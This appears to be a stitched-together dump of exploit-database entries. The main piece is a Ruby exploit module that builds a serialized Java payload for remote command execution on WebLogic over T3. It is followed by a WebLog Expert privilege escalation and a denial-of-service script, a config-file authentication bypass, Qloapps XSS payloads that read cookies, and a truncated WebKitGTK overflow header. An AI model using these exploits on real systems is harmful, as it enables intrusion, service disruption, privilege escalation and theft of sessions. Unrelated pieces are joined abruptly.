payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
payload_obj << '00000028'
class_name = Rex::Text.rand_text_alphanumeric(8..14)
formatted_class = class_name.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
payload_obj << '74' # String
payload_obj << class_name.length.to_s(16).rjust(4, '0')
payload_obj << formatted_class # Originally Weblogic_2555 -> PoC class name
payload_obj << '74' # String
payload_obj << (class_name.length + 5).to_s(16).rjust(4, '0')
payload_obj << formatted_class # Originally Weblogic_2555.java
payload_obj << '2e6a617661' # .java
payload_obj << '740004' # String, length: 4
payload_obj << '6d61696e' # main
payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC
payload_obj << '0026' # Class name length: 38
payload_obj << '6a6176612e7574696c2e' # java.util.Collections$UnmodifiableList
payload_obj << '436f6c6c656374696f6e'
payload_obj << '7324556e6d6f64696669'
payload_obj << '61626c654c697374'
payload_obj << 'fc0f2531b5ec8e10' # SerialVersionUID
payload_obj << '020001' # Serializable, 1 field
payload_obj << '4c0004' # Field type: Object, field name length: 4
payload_obj << '6c697374' # list
payload_obj << '71' # TC_REFERENCE
payload_obj << '007e0007' # handle
payload_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC
payload_obj << '002c' # Class name length: 44
payload_obj << '6a6176612e7574696c2e' # java.util.Collections$UnmodifiableCollection
payload_obj << '436f6c6c656374696f6e'
payload_obj << '7324556e6d6f64696669'
payload_obj << '61626c65436f6c6c6563'
payload_obj << '74696f6e'
payload_obj << '19420080cb5ef71e' # SerialVersionUID
payload_obj << '020001' # Serializable, 1 field
payload_obj << '4c0001' # Field type: Object, field name length: 1
payload_obj << '63' # Field name: c
payload_obj << '740016' # String, length: 22
payload_obj << '4c6a6176612f7574696c' # Ljava/util/Collection;
payload_obj << '2f436f6c6c656374696f'
payload_obj << '6e3b'
payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC
payload_obj << '0013' # Class name length: 19
payload_obj << '6a6176612e7574696c2e' # java.util.ArrayList
payload_obj << '41727261794c697374'
payload_obj << '7881d21d99c7619d' # SerialVersionUID
payload_obj << '030001' # ?, 1 field
payload_obj << '490004' # Field type: Integer, field name length: 4
payload_obj << '73697a65' # size
payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
payload_obj << '00000000'
payload_obj << '7704' # TC_BLOCKDATA, length: 4
payload_obj << '00000000'
payload_obj << '7871' # TC_ENDBLOCKDATA, TC_REFERENCE
payload_obj << '007e0015' # handle
payload_obj << '78' # TC_ENDBLOCKDATA
payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC
payload_obj << '0024' # Class name length: 36
payload_obj << '636f6d2e74616e676f73' # com.tangosol.util.filter.LimitFilter
payload_obj << '6f6c2e7574696c2e6669'
payload_obj << '6c7465722e4c696d6974'
payload_obj << '46696c746572'
payload_obj << limit_filter_uid # SerialVersionUID
payload_obj << '020006' # Serializable, 6 fields
payload_obj << '49000b' # Field type: Integer, field name length: 11
payload_obj << '6d5f635061676553697a65' # m_cPageSize
payload_obj << '490007' # Field type: Integer, field name length: 7
payload_obj << '6d5f6e50616765' # m_nPage
payload_obj << '4c000c' # Field type: Object, field name length: 12
payload_obj << '6d5f636f6d70617261746f72' # m_comparator
payload_obj << '740016' # String, length: 22
payload_obj << '4c6a6176612f7574696c' # Ljava/util/Comparator;
payload_obj << '2f436f6d70617261746f'
payload_obj << '723b'
payload_obj << '4c0008' # Field type: Object, field name length: 8
payload_obj << '6d5f66696c746572' # m_filter
payload_obj << '74001a' # String, length: 26
payload_obj << '4c636f6d2f74616e676f' # Lcom/tangosol/util/Filter;
payload_obj << '736f6c2f7574696c2f46'
payload_obj << '696c7465723b'
payload_obj << '4c000f' # Field type: Object, field name length: 15
payload_obj << '6d5f6f416e63686f7242' # m_oAnchorBottom
payload_obj << '6f74746f6d'
payload_obj << '71' # TC_REFERENCE
payload_obj << '007e0001' # handle
payload_obj << '4c000c' # Field type: Object, field name length: 12
payload_obj << '6d5f6f416e63686f72546f70' # m_oAnchorTop
payload_obj << '71' # TC_REFERENCE
payload_obj << '007e0001' # handle
unless @version_no == Gem::Version.new('12.1.3.0.0')
payload_obj << add_class_desc
end
payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
payload_obj << '00000000'
payload_obj << '00000000'
payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC
payload_obj << '002c' # Class name length: 44
payload_obj << '636f6d2e74616e676f73' # com.tangosol.util.extractor.ChainedExtractor
payload_obj << '6f6c2e7574696c2e6578'
payload_obj << '74726163746f722e4368'
payload_obj << '61696e65644578747261'
payload_obj << '63746f72'
payload_obj << chained_extractor_uid # SerialVersionUID
payload_obj << '020000' # Serializable, no fields
payload_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC
payload_obj << '0036' # Class name length: 54
payload_obj << '636f6d2e74616e676f73' # com.tangosol.util.extractor.AbstractCompositeExtractor
payload_obj << '6f6c2e7574696c2e6578'
payload_obj << '74726163746f722e4162'
payload_obj << '737472616374436f6d70'
payload_obj << '6f736974654578747261'
payload_obj << '63746f72'
payload_obj << '086b3d8c05690f44' # SerialVersionUID
payload_obj << '020001' # Serializable, 1 field
payload_obj << '5b000c' # Field type: Array, field name length: 12
payload_obj << '6d5f61457874726163746f72' # m_aExtractor
payload_obj << '740023' # String, length: 35
payload_obj << '5b4c636f6d2f74616e67' # [Lcom/tangosol/util/ValueExtractor;
payload_obj << '6f736f6c2f7574696c2f'
payload_obj << '56616c75654578747261'
payload_obj << '63746f723b'
payload_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC
payload_obj << '002d' # Class name length: 45
payload_obj << '636f6d2e74616e676f73' # com.tangosol.util.extractor.AbstractExtractor
payload_obj << '6f6c2e7574696c2e6578'
payload_obj << '74726163746f722e4162'
payload_obj << '73747261637445787472'
payload_obj << '6163746f72'
payload_obj << abstract_extractor_uid # SerialVersionUID
payload_obj << '020001' # Serializable, 1 field
payload_obj << '490009' # Field type: Integer, field name length: 9
payload_obj << '6d5f6e546172676574' # m_nTarget
payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
payload_obj << '00000000'
payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC
payload_obj << '0032' # Class name length: 50
payload_obj << '5b4c636f6d2e74616e67' # [Lcom.tangosol.util.extractor.ReflectionExtractor;
payload_obj << '6f736f6c2e7574696c2e'
payload_obj << '657874726163746f722e'
payload_obj << '5265666c656374696f6e'
payload_obj << '457874726163746f723b'
payload_obj << 'dd8b89aed70273ca' # SerialVersionUID
payload_obj << '020000' # Serializable, no fields
payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
payload_obj << '00000003'
payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC
payload_obj << '002f' # Class name length: 47
payload_obj << '636f6d2e74616e676f73' # com.tangosol.util.extractor.ReflectionExtractor
payload_obj << '6f6c2e7574696c2e6578'
payload_obj << '74726163746f722e5265'
payload_obj << '666c656374696f6e4578'
payload_obj << '74726163746f72'
payload_obj << reflection_extractor_uid # SerialVersionUID
payload_obj << '02000' # Serializable, variable fields orig: 020002
payload_obj << reflect_extract_count
payload_obj << '5b0009' # Field type: Array, field name length: 9
payload_obj << '6d5f616f506172616d' # m_aoParam
payload_obj << '740013' # String, length: 19
payload_obj << '5b4c6a6176612f6c616e' # [Ljava/lang/Object;
payload_obj << '672f4f626a6563743b'
payload_obj << add_sect
payload_obj << '4c0009' # Object, length: 9
payload_obj << '6d5f734d6574686f64' # m_sMethod
payload_obj << '71' # TC_REFERENCE
payload_obj << '007e0005' # handle
payload_obj << '7871' # TC_ENDBLOCKDATA, TC_REFERENCE
payload_obj << (change_handle? ? '007e001d' : '007e001e')
payload_obj << '00000000'
payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC
payload_obj << '0013' # Class name length: 19
payload_obj << '5b4c6a6176612e6c616e' # [Ljava.lang.Object;
payload_obj << '672e4f626a6563743b'
payload_obj << '90ce589f1073296c' # SerialVersionUID
payload_obj << '020000' # Serializable, no fields
payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
payload_obj << '00000002'
payload_obj << '74000a' # String, length: 10
payload_obj << '67657452756e74696d65' # getRuntime
payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC
payload_obj << '0012' # Class name length: 18
payload_obj << '5b4c6a6176612e6c616e' # [Ljava.lang.Class;
payload_obj << '672e436c6173733b'
payload_obj << 'ab16d7aecbcd5a99' # SerialVersionUID
payload_obj << '020000' # Serializable, no fields
payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
payload_obj << '00000000'
payload_obj << add_tc_null
payload_obj << '740009' # String, length: 9
payload_obj << '6765744d6574686f64' # getMethod
payload_obj << '7371' # TC_OBJECT, TC_REFERENCE
payload_obj << (change_handle? ? '007e0021' : '007e0022')
payload_obj << '00000000'
payload_obj << '7571' # TC_ARRAY, TC_REFERENCE
payload_obj << (change_handle? ? '007e0024' : '007e0025')
payload_obj << '00000002' # array size: 2
payload_obj << '7075' # TC_NULL, TC_ARRAY
payload_obj << '71' # TC_REFERENCE
payload_obj << (change_handle? ? '007e0024' : '007e0025')
payload_obj << '00000000'
payload_obj << add_tc_null
payload_obj << '740006' # TC_STRING, length: 6
payload_obj << '696e766f6b65' # invoke
payload_obj << '7371' # TC_OBJECT, TC_REFERENCE
payload_obj << (change_handle? ? '007e0021' : '007e0022')
payload_obj << '00000000'
payload_obj << '7571' # TC_ARRAY, TC_REFERENCE
payload_obj << (change_handle? ? '007e0024' : '007e0025')
payload_obj << '00000001'
payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC
payload_obj << '0013' # Class name length: 19
payload_obj << '5b4c6a6176612e6c616e' # [Ljava.lang.String;
payload_obj << '672e537472696e673b'
payload_obj << 'add256e7e91d7b47' # SerialVersionUID
payload_obj << '020000' # Serializable, no fields
payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
payload_obj << '00000003'
payload_bin = format_payload(payload_data)
payload_obj << payload_bin
# Original data
# ---------------------------
# payload_obj << '740007' # String, length: 7
# payload_obj << '2f62696e2f7368' # /bin/sh
# payload_obj << '740002' # String, length: 2
# payload_obj << '2d63' # -c
# payload_obj << '740017' # String, length: 23
# payload_obj << '746f756368202f746d70' # touch /tmp/blah_ze_blah
# payload_obj << '2f626c61685f7a655f62'
# payload_obj << '6c6168'
# ---------------------------
payload_obj << add_tc_null
payload_obj << '740004' # String, length: 4
payload_obj << '65786563' # exec
payload_obj << '7070' # TC_NULL, TC_NULL
payload_obj << '7672' # TC_CLASS, TC_CLASSDESC
payload_obj << '0011' # Class name length: 17
payload_obj << '6a6176612e6c616e672e' # java.lang.Runtime
payload_obj << '52756e74696d65'
payload_obj << '00000000000000000000'
payload_obj << '00'
payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
end
def change_handle?
@version_no == Gem::Version.new('12.1.3.0.0')
end
def limit_filter_uid
case @version_no
when Gem::Version.new('12.1.3.0.0')
'99022596d7b45953'
when Gem::Version.new('12.2.1.3.0')
'ab2901b976c4e271'
else
'954e4590be89865f'
end
end
def chained_extractor_uid
case @version_no
when Gem::Version.new('12.1.3.0.0')
'889f81b0945d5b7f'
when Gem::Version.new('12.2.1.3.0')
'06ee10433a4cc4b4'
else
'435b250b72f63db5'
end
end
def abstract_extractor_uid
case @version_no
when Gem::Version.new('12.1.3.0.0')
'658195303e723821'
when Gem::Version.new('12.2.1.3.0')
'752289ad4d460138'
else
'9b1be18ed70100e5'
end
end
def reflection_extractor_uid
case @version_no
when Gem::Version.new('12.1.3.0.0')
'ee7ae995c02fb4a2'
when Gem::Version.new('12.2.1.3.0')
'87973791b26429dd'
else
'1f62f564b951b614'
end
end
def reflect_extract_count
case @version_no
when Gem::Version.new('12.2.1.3.0')
'3'
else
'2'
end
end
def add_sect
sect = ''
if @version_no == Gem::Version.new('12.2.1.3.0')
sect << '4c0011' # Object, length: 17
sect << '6d5f657874726163746f' # m_extractorCached
sect << '72436163686564'
sect << '71' # TC_REFERENCE
sect << '007e0001' # handle
end
sect
end
def add_class_desc
class_desc = ''
class_desc << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC
class_desc << '0034' # Class name length: 52
class_desc << '636f6d2e74616e676f73' # com.tangosol.util.filter.AbstractQueryRecorderFilter
class_desc << '6f6c2e7574696c2e6669'
class_desc << '6c7465722e4162737472'
class_desc << '61637451756572795265'
class_desc << '636f7264657246696c74'
class_desc << '6572'
class_desc << 'f3b98201f680eb90' # SerialVersionUID
class_desc << '020000' # Serializable, no fields
end
def add_tc_null
return '70' if @version_no == Gem::Version.new('12.2.1.3.0')
''
end
def t3_send(payload_obj)
print_status('Sending object...')
request_obj = '000009f3' # Original packet length
request_obj << '016501' # CMD_IDENTIFY_REQUEST, flags
request_obj << 'ffffffffffffffff'
request_obj << '00000071'
request_obj << '0000ea60'
request_obj << '00000018432ec6'
request_obj << 'a2a63985b5af7d63e643'
request_obj << '83f42a6d92c9e9af0f94'
request_obj << '72027973720078720178'
request_obj << '720278700000000c0000'
request_obj << '00020000000000000000'
request_obj << '00000001007070707070'
request_obj << '700000000c0000000200'
request_obj << '00000000000000000000'
request_obj << '01007006'
request_obj << 'fe010000' # separator
request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION
request_obj << '7372' # TC_OBJECT, TC_CLASSDESC
request_obj << '001d' # Class name length: 29
request_obj << '7765626c6f6769632e72' # weblogic.rjvm.ClassTableEntry
request_obj << '6a766d2e436c61737354'
request_obj << '61626c65456e747279'
request_obj << '2f52658157f4f9ed' # SerialVersionUID
request_obj << '0c0000' # flags?
request_obj << '787072' # TC_ENDBLOCKDATA, TC_NULL, TC_CLASSDESC
request_obj << '0024' # Class name length: 36
request_obj << '7765626c6f6769632e63' # weblogic.common.internal.PackageInfo
request_obj << '6f6d6d6f6e2e696e7465'
request_obj << '726e616c2e5061636b61'
request_obj << '6765496e666f'
request_obj << 'e6f723e7b8ae1ec9' # SerialVersionUID
request_obj << '020009' # Serializable, 9 fields
request_obj << '490005' # Field type: Int, field name length: 5
request_obj << '6d616a6f72' # major
request_obj << '490005' # Field type: Int, field name length: 5
request_obj << '6d696e6f72' # minor
request_obj << '49000b' # Field type: Int, field name length: 11
request_obj << '70617463685570646174' # patchUpdate
request_obj << '65'
request_obj << '49000c' # Field type: Int, field name length: 12
request_obj << '726f6c6c696e67506174' # rollingPatch
request_obj << '6368'
request_obj << '49000b' # Field type: Int, field name length: 11
request_obj << '73657276696365506163' # servicePack
request_obj << '6b'
request_obj << '5a000e' # Field type: Z = Bool, field name length: 14
request_obj << '74656d706f7261727950' # temporaryPatch
request_obj << '61746368'
request_obj << '4c0009' # Field type: Object, field name length: 9
request_obj << '696d706c5469746c65' # implTitle
request_obj << '740012' # String, length: 18
request_obj << '4c6a6176612f6c616e67' # Ljava/lang/String;
request_obj << '2f537472696e673b'
request_obj << '4c000a' # Field type: Object, field name length: 10
request_obj << '696d706c56656e646f72' # implVendor
request_obj << '71007e0003' # TC_REFERENCE, handle
request_obj << '4c000b' # Field type: Object, field name length: 11
request_obj << '696d706c56657273696f6e' # implVersion
request_obj << '71007e0003' # TC_REFERENCE, handle
request_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
request_obj << '7702' # TC_ENDBLOCKDATA
request_obj << '000078'
request_obj << 'fe010000' # separator
request_obj << payload_obj
request_obj << 'fe010000' # separator
request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION
request_obj << '7372' # TC_OBJECT, TC_CLASSDESC
request_obj << '001d' # Class name length: 29
request_obj << '7765626c6f6769632e72' # weblogic.rjvm.ClassTableEntry
request_obj << '6a766d2e436c61737354'
request_obj << '61626c65456e747279'
request_obj << '2f52658157f4f9ed' # SerialVersionUID
request_obj << '0c0000'
request_obj << '787072' # TC_ENDBLOCKDATA, TC_NULL, TC_CLASSDESC
request_obj << '0021' # Class name length: 33
request_obj << '7765626c6f6769632e63' # weblogic.common.internal.PeerInfo
request_obj << '6f6d6d6f6e2e696e7465'
request_obj << '726e616c2e5065657249'
request_obj << '6e666f'
request_obj << '585474f39bc908f1' # SerialVersionUID
request_obj << '020007' # Serializable, 7 fields
request_obj << '490005' # Field type: Int, field name length: 5
request_obj << '6d616a6f72' # major
request_obj << '490005' # Field type: Int, field name length: 5
request_obj << '6d696e6f72' # minor
request_obj << '49000b' # Field type: Int, field name length: 11
request_obj << '70617463685570646174' # patchUpdate
request_obj << '65'
request_obj << '49000c' # Field type: Int, field name length: 12
request_obj << '726f6c6c696e67506174' # rollingPatch
request_obj << '6368'
request_obj << '49000b' # Field type: Int, field name length: 11
request_obj << '73657276696365506163' # servicePack
request_obj << '6b'
request_obj << '5a000e' # Field type: Z = Bool, field name length: 14
request_obj << '74656d706f7261727950' # temporaryPatch
request_obj << '61746368'
request_obj << '5b0008' # Field type: Array, field name length: 8
request_obj << '7061636b61676573' # packages
request_obj << '740027' # String, length: 39
request_obj << '5b4c7765626c6f676963' # [Lweblogic/common/internal/PackageInfo;
request_obj << '2f636f6d6d6f6e2f696e'
request_obj << '7465726e616c2f506163'
request_obj << '6b616765496e666f3b'
request_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC
request_obj << '0024' # Class name length: 36
request_obj << '7765626c6f6769632e63' # weblogic.common.internal.VersionInfo
request_obj << '6f6d6d6f6e2e696e7465'
request_obj << '726e616c2e5665727369'
request_obj << '6f6e496e666f'
request_obj << '972245516452463e' # SerialVersionUID
request_obj << '020003' # Serializable, 3 fields
request_obj << '5b0008' # Field type: Array, field name length: 8
request_obj << '7061636b61676573' # packages
request_obj << '71007e0003' # TC_REFERENCE, handle
request_obj << '4c000e' # Field type: Object, field name length: 14
request_obj << '72656c65617365566572' # releaseVersion
request_obj << '73696f6e'
request_obj << '740012' # String, length: 18
request_obj << '4c6a6176612f6c616e67' # Ljava/lang/String;
request_obj << '2f537472696e673b'
request_obj << '5b0012' # Field type: Array, field name length: 18
request_obj << '76657273696f6e496e66' # versionInfoAsBytes
request_obj << '6f41734279746573'
request_obj << '740002' # String, length: 2
request_obj << '5b42' # [B
request_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC
request_obj << '0024' # Class name length: 36
request_obj << '7765626c6f6769632e63' # weblogic.common.internal.PackageInfo
request_obj << '6f6d6d6f6e2e696e7465'
request_obj << '726e616c2e5061636b61'
request_obj << '6765496e666f'
request_obj << 'e6f723e7b8ae1ec9' # SerialVersionUID
request_obj << '020009' # Serializable, 9 fields
request_obj << '490005' # Field type: Int, field name length: 5
request_obj << '6d616a6f72' # major
request_obj << '490005' # Field type: Int, field name length: 5
request_obj << '6d696e6f72' # minor
request_obj << '49000b' # Field type: Int, field name length: 11
request_obj << '70617463685570646174' # patchUpdate
request_obj << '65'
request_obj << '49000c' # Field type: Int, field name length: 12
request_obj << '726f6c6c696e67506174' # rollingPatch
request_obj << '6368'
request_obj << '49000b' # Field type: Int, field name length: 11
request_obj << '73657276696365506163' # servicePack
request_obj << '6b'
request_obj << '5a000e' # Field type: Z = Bool, field name length: 14
request_obj << '74656d706f7261727950' # temporaryPatch
request_obj << '61746368'
request_obj << '4c0009' # Field type: Object, field name length: 9
request_obj << '696d706c5469746c65' # implTitle
request_obj << '71007e0005' # TC_REFERENCE, handle
request_obj << '4c000a' # Field type: Object, field name length: 10
request_obj << '696d706c56656e646f72' # implVendor
request_obj << '71007e0005' # TC_REFERENCE, handle
request_obj << '4c000b' # Field type: Object, field name length: 11
request_obj << '696d706c56657273696f' # implVersion
request_obj << '6e'
request_obj << '71007e0005' # TC_REFERENCE, handle
request_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
request_obj << '7702000078' # TC_BLOCKDATA, 2 bytes, TC_ENDBLOCKDATA
request_obj << 'fe00ff' # separator
request_obj << 'fe010000'
request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION
request_obj << '7372' # TC_OBJECT, TC_CLASSDESC
request_obj << '0013' # Class name length: 19
request_obj << '7765626c6f6769632e72' # weblogic.rjvm.JVMID
request_obj << '6a766d2e4a564d4944'
request_obj << 'dc49c23ede121e2a' # SerialVersionUID
request_obj << '0c0000'
request_obj << '787077' # TC_ENDBLOCKDATA, TC_NULL, TC_BLOCKDATA
request_obj << '4621'
request_obj << '000000000000000000'
request_obj << '09' # length: 9
request_obj << '3132372e302e312e31' # 127.0.1.1
request_obj << '000b' # length: 11
request_obj << '75732d6c2d627265656e' # us-l-breens
request_obj << '73'
request_obj << 'a53caff10000000700'
request_obj << '001b59'
request_obj << 'ffffffffffffffffffff'
request_obj << 'ffffffffffffffffffff'
request_obj << 'ffffffff'
request_obj << '0078'
request_obj << 'fe010000' # separator
request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION
request_obj << '7372' # TC_OBJECT, TC_CLASSDESC
request_obj << '0013' # Class name length: 19
request_obj << '7765626c6f6769632e72' # weblogic.rjvm.JVMID
request_obj << '6a766d2e4a564d4944'
request_obj << 'dc49c23ede121e2a' # SerialVersionUID
request_obj << '0c0000'
request_obj << '787077' # TC_ENDBLOCKDATA, TC_NULL, TC_BLOCKDATA
request_obj << '1d0181401281'
request_obj << '34bf427600093132372e'
request_obj << '302e312e31a53caff1'
request_obj << '000000000078'
new_len = (request_obj.length / 2).to_s(16).rjust(8, '0')
request_obj[0, 8] = new_len
sock.put([request_obj].pack('H*'))
sleep(1)
end
def format_payload(payload_cmd)
print_status('Formatting payload...')
payload_arr = payload_cmd.split(' ', 3)
formatted_payload = ''
payload_arr.each do |part|
formatted_payload << '74' # denotes a string
formatted_payload << part.length.to_s(16).rjust(4, '0')
formatted_payload << part.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
end
formatted_payload
end
def execute_command(cmd, _opts = {})
cmd.prepend('/bin/sh -c ')
cmd = build_payload_obj(cmd)
t3_send(cmd)
end
end
Exploit Author: bzyo
Twitter: @bzyo_
Exploit Title: WebLog Expert Enterprise 9.4 - Privilege Escalation
Date: 03-31-2018
Vulnerable Software: WebLog Expert Enterprise 9.4
Vendor Homepage: https://www.weblogexpert.com/
Version: 9.4
Software Link: https://www.weblogexpert.com/download.htm
Tested On: Windows 7 x86 and x64
Details:
By default WebLog Expert Enterprise 9.4 runs scheduled tasks under Local System account.
If WebLog Expert Schedule Service is installed by an administrator, regular users have the
ability to run tasks as Local System.
Exploit:
1. Login as regular user where WebLog Expert and WebLog Expert Schedule Service are installed
2. Open WebLog Expert and then Schedule
3. Select Add, Next, choose 'Sample - HTML' under Profile, Next
4. Check 'Run command...' box, fill in 'Command' and 'Run in' as listed below
Command: C:\Windows\System32\cmd.exe
Run in: C:\Windows\System32\
5. Select Next, Finish, Highlight New Task, select Run Now
6. Pop-up will appear in taskbar that reads 'A program running on this computer is trying to display a message'
7. Select 'View the message'
8. Command prompt is shown
C:\Windows\system32>whoami
nt authority\system
Prerequisites:
To successfully exploit this vulnerability, an attacker must already have access
to a system running WebLog Expert and WebLog Expert Schedule Service using a
low-privileged user account
Risk:
The vulnerability allows local attackers to escalate privileges and execute
arbitrary code as Local System aka Game Over.
Fix:
Under Schedule Options, change default account that runs scheduled tasks
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/WEBLOG-EXPERT-WEB-SERVER-ENTERPRISE-v9.4-DENIAL-OF-SERVICE.txt
[+] ISR: Apparition Security
Vendor:
=======
www.weblogexpert.com
Product:
=========
WebLog Expert Web Server Enterprise v9.4
WebLog Expert is a fast and powerful access log analyzer. It will give you information about your site's visitors:
activity statistics, accessed files, paths through the site, information about referring pages, search engines, browsers,
operating systems, and more. The program produces easy-to-read reports that include both text information (tables) and charts.
Vulnerability Type:
===================
Denial Of Service
CVE Reference:
==============
CVE-2018-7582
Security Issue:
================
WebLog Expert Web Server Enterprise 9.4 allows Remote Denial Of Service (daemon crash) via a long HTTP Accept Header to TCP port 9991.
(e7c.1750): CLR exception - code e0434352 (first/second chance not available)
eax=00000000 ebx=06d1d098 ecx=00000005 edx=00000000 esi=00000002 edi=00000000
eip=778d016d esp=06d1d048 ebp=06d1d0e4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ntdll!NtWaitForMultipleObjects+0x15:
778d016d 83c404 add esp,4
Exploit/POC:
=============
import socket
print 'Weblog Expert Server / Denial Of Service'
print 'hyp3rlinx'
IP='Weblog Expert Server IP'
PORT=9991
PAYLOAD="GET /index.html HTTP/1.0 Host: +'IP'+':9991 User-Agent: Mozilla Accept: */*" + "A"*2000+'\r\n\r\n'
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))
s.send(PAYLOAD)
s.close()
Network Access:
===============
Remote
Severity:
=========
Medium
Disclosure Timeline:
=============================
Vendor Notification: February 3, 2018
Second attempt : February 17, 2018
March 7, 2018 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/WEBLOG-EXPERT-WEB-SERVER-ENTERPRISE-v9.4-AUTHENTICATION-BYPASS.txt
[+] ISR: Apparition Security
Vendor:
========
www.weblogexpert.com
Product:
========
WebLog Expert Web Server Enterprise v9.4
WebLog Expert is a fast and powerful access log analyzer. It will give you information about your site's visitors:
activity statistics, accessed files, paths through the site, information about referring pages, search engines, browsers,
operating systems, and more. The program produces easy-to-read reports that include both text information (tables) and charts.
Vulnerability Type:
===================
Authentication Bypass
CVE Reference:
==============
CVE-2018-7581
Security Issue:
================
The "WebServer.cfg" under "ProgramData\WebLog Expert\WebServer\" used by WebLog Expert Web Server Enterprise 9.4
has weak permissions (BUILTIN\Users:(ID)C), which allows local users to set a cleartext password and login as admin.
A standard non Windows Administrator user can edit the 'WebServer.cfg' file under "C:\ProgramData\WebLog Expert\WebServer"
set to a cleartext password and login as admin.
e.g.
C:\ProgramData\WebLog Expert\WebServer>cacls * | more
C:\ProgramData\WebLog Expert\WebServer\WebServer.cfg BUILTIN\Users:(ID)C
BUILTIN\Administrators:(ID)C
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Administrators:(ID)F
Exploit/POC:
=============
Login as a 'Standard' Windows user
Comment out the Admin hashed password using ';' then add any cleartext password as follows.
[User:admin]
Password=1234
;PasswordHash=3413C538CE5234FB194E82AE1F3954FD2BC848C0
bAllProfiles=1
Now login in as Admin! :)
Network Access:
===============
Local
Severity:
=========
Medium
Disclosure Timeline:
=============================
Vendor Notification: March 1, 2018
No replies from previous attempts
March 7, 2018 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
# Exploit Title: Webkul Qloapps 1.5.2 - Cross-Site Scripting (XSS)
# Date: 15 May 2023
# Exploit Author: Astik Rawat (ahrixia)
# Vendor Homepage: https://qloapps.com/
# Software Link: https://github.com/webkul/hotelcommerce
# Version: 1.5.2
# Tested on: Kali Linux 2022.4
# CVE : CVE-2023-30256
Description:
A Cross Site Scripting (XSS) vulnerability exists in Webkul Qloapps which is a free and open-source hotel reservation & online booking system written in PHP and distributed under OSL-3.0 Licence.
Steps to exploit:
1) Go to Signin page on the system.
2) There are two parameters which can be exploited via XSS
- back
- email_create
2.1) Insert your payload in the "back"- GET and POST Request
Proof of concept (Poc):
The following payload will allow you to execute XSS -
Payload (Plain text):
xss onfocus=alert(1) autofocus= xss
Payload (URL Encoded):
xss%20onfocus%3dalert(1)%20autofocus%3d%20xss
Full GET Request (back):
[http://localhost/hotelcommerce-1.5.2/?rand=1679996611398&controller=authentication&SubmitCreate=1&ajax=true&email_create=a&back=xss%20onfocus%3dalert(1)%20autofocus%3d%20xss&token=6c62b773f1b284ac4743871b300a0c4d]
2.2) Insert your payload in the "email_create" - POST Request Only
Proof of concept (Poc):
The following payload will allow you to execute XSS -
Payload (Plain text):
xss><img src=a onerror=alert(document.cookie)>xss
Payload (URL Encoded):
xss%3e%3cimg%20src%3da%20onerror%3dalert(document.cookie)%3exss
POST Request (email_create) (POST REQUEST DATA ONLY):
[controller=authentication&SubmitCreate=1&ajax=true&email_create=xss%3e%3cimg%20src%3da%20onerror%3dalert(document.cookie)%3exss&back=my-account&token=6c62b773f1b284ac4743871b300a0c4d]
# Exploit Title: WebkitGTK+ 2.20.3 - 'ImageBufferCairo::getImageData()' Buffer Overflow (PoC)
# Date: 2018-08-15
# Exploit Author: PeregrineX
# Vendor Homepage: https://webkitgtk.org/ & https://webkit.org/wpe/
# Software Link: https://webkitgtk.org/releases/ & https://wpewebkit.org/releases/
# Version: <2.20.3 (GTK+) <2.20.1 (WPE)
# Tested on: WebKitGTK+ 2.20.2
# CVE : CVE-2018-12293
# SUMMARY:
# getImageData() in ImageBufferCairo.cpp multiplies rect.width() * rect.height() * 4
